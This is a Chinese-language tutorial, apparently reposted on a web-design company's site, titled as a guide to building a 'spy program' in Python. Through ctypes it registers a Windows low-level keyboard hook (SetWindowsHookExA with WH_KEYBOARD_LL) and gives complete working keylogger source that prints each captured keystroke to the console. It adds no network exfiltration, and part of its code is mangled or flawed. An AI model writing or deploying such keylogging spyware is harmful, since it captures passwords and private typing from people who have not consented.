怎么使用Python來打造一款間諜程序

這篇文章主要講解了“怎么使用Python來打造一款間諜程序”，文中的講解內(nèi)容簡單清晰，易于學習與理解，下面請大家跟著小編的思路慢慢深入，一起來研究和學習“怎么使用Python來打造一款間諜程序”吧！

10年積累的成都網(wǎng)站設(shè)計、成都做網(wǎng)站經(jīng)驗，可以快速應對客戶對網(wǎng)站的新想法和需求。提供各種問題對應的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務。我雖然不認識你，你也不認識我。但先網(wǎng)站設(shè)計后付款的網(wǎng)站建設(shè)流程，更有九原免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。

程序的基本原理在于通過注冊Hook，記錄系統(tǒng)事件。

那么什么是Hook呢？

Hook 技術(shù)又叫做鉤子函數(shù)，系統(tǒng)在調(diào)用函數(shù)之前，鉤子程序就先捕獲該消息，鉤子函數(shù)先得到控制權(quán)，這時鉤子函數(shù)既可以加工處理（改變）該函數(shù)的執(zhí)行行為，還可以強制結(jié)束消息的傳遞

注冊Hook時我們需要先導入DLL庫，在Python中我們使用ctypes來導入，導入方法如下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我們導入了user32.dll和kernel32.dll。這兩個DLL有什么用處呢

user32.dll 是Windows用戶界面相關(guān)應用程序接口，用于包括Windows處理，基本用戶界面等特性，如創(chuàng)建窗口和發(fā)送消息
kernel32.dll 控制著系統(tǒng)的內(nèi)存管理、數(shù)據(jù)的輸入輸出操作和中斷處理**

流程部分

知道了我們要使用什么樣的工具，那么第一步應該怎么做呢？

1、首先我們需要先注冊Hook到系統(tǒng)上，通過user32.dll中的SetWindowsHookExA函數(shù)，我們可以在系統(tǒng)上注冊鉤子

HHOOK SetWindowsHookExA( int idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

通過查看文檔我們看到SetWindowsHookExA函數(shù)的參數(shù)及參數(shù)類型如上所示。

通過文檔我們看到第一個參數(shù)idHook中填入鉤子的類型

WH_KEYBOARD_LL的常量值為13代表的意思是監(jiān)視低級鍵盤輸入事件，我們此處來監(jiān)聽鍵盤事件

第二個參數(shù)lpfn代表指向鉤子過程的指針，要填入鉤子過程（函數(shù)），我們可以在此處來添加額外代碼達到我們想要達成的目的

第三個參數(shù)hmod表示為DLL句柄，我們可以使用kernel32中的GetModuleHandleW來獲取句柄

最后一個參數(shù)dwThreadId我們填入0代表與同一桌面上所有的線程關(guān)聯(lián)

代碼如下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python來編寫我們的鉤子過程呢，通過ctypes文檔我們可以得知windows下使用WINFUNCTYPE來創(chuàng)建函數(shù)

此時我們發(fā)現(xiàn)有WINFUNCTYPE和CFUNCTYPE兩個函數(shù)，具體要使用哪一個呢，這兩個的區(qū)別為

WINFUNCTYPE 為Windows下獨有的，通過使用使用stdcall調(diào)用約定的函數(shù)
CFUNCTYPE 使用標準C調(diào)用約定的函數(shù)

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因為我們調(diào)用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL會使用LowLevelKeyboardProc回調(diào)函數(shù)，同時我們也需要在Python定義它

LowLevelKeyboardProc數(shù)據(jù)結(jié)構(gòu)如下

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

按照官方文檔提示如果**nCode**小于零，則掛鉤過程必須將消息傳遞給CallNextHookEx函數(shù)，而無需進一步處理，并且應返回CallNextHookEx返回的值

我們轉(zhuǎn)換為Python代碼

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else:
        # 此處插入我們的代碼 pass
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我們退出程序時還需要刪除Hook，不然大量的Hook會使系統(tǒng)運行緩慢，雖然在Windows 7及更高版本上，該鉤子會被靜默刪除而不被調(diào)用。應用程序無法知道掛鉤是否已刪除。我們還是主動進行刪除

刪除需要使用user32.dll的UnhookWindowsHookEx，參數(shù)為Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面貼上全部代碼

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")


class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]


def uninstallHookProc(hooked):
    if hooked is None:
        return
    user32.UnhookWindowsHookEx(hooked)
    hooked = None


def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)
            # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
            if lParam.contents.value==13:
                print("\n")
            elif capsLock:
                print(chr(lParam.contents.value),end="")
            else:
                print(chr(lParam.contents.value+32),end="")
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)


def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)


def installHookProc(hooked, pointer):
    hooked = user32.SetWindowsHookExA(
        13,
        pointer,
        kernel32.GetModuleHandleW(),
        0
    )
    if not hooked:
        return False
    return True


HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
    print("Hook installed")
    try:
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)
    except KeyboardInterrupt as kerror:
        uninstallHookProc(hooked)
        print("Hook uninstall...")
else:
    print("Hook installed error")

貼上我們的效果圖

怎么使用Python來打造一款間諜程序

感謝各位的閱讀，以上就是“怎么使用Python來打造一款間諜程序”的內(nèi)容了，經(jīng)過本文的學習后，相信大家對怎么使用Python來打造一款間諜程序這一問題有了更深刻的體會，具體使用情況還需要大家實踐驗證。這里是創(chuàng)新互聯(lián)，小編將為大家推送更多相關(guān)知識點的文章，歡迎關(guān)注！

標題名稱：怎么使用Python來打造一款間諜程序
標題路徑：http://www.muchs.cn/article8/jiohip.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供標簽優(yōu)化、品牌網(wǎng)站建設(shè)、服務器托管、ChatGPT、外貿(mào)網(wǎng)站建設(shè)、定制網(wǎng)站

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源：創(chuàng)新互聯(lián)

猜你還喜歡下面的內(nèi)容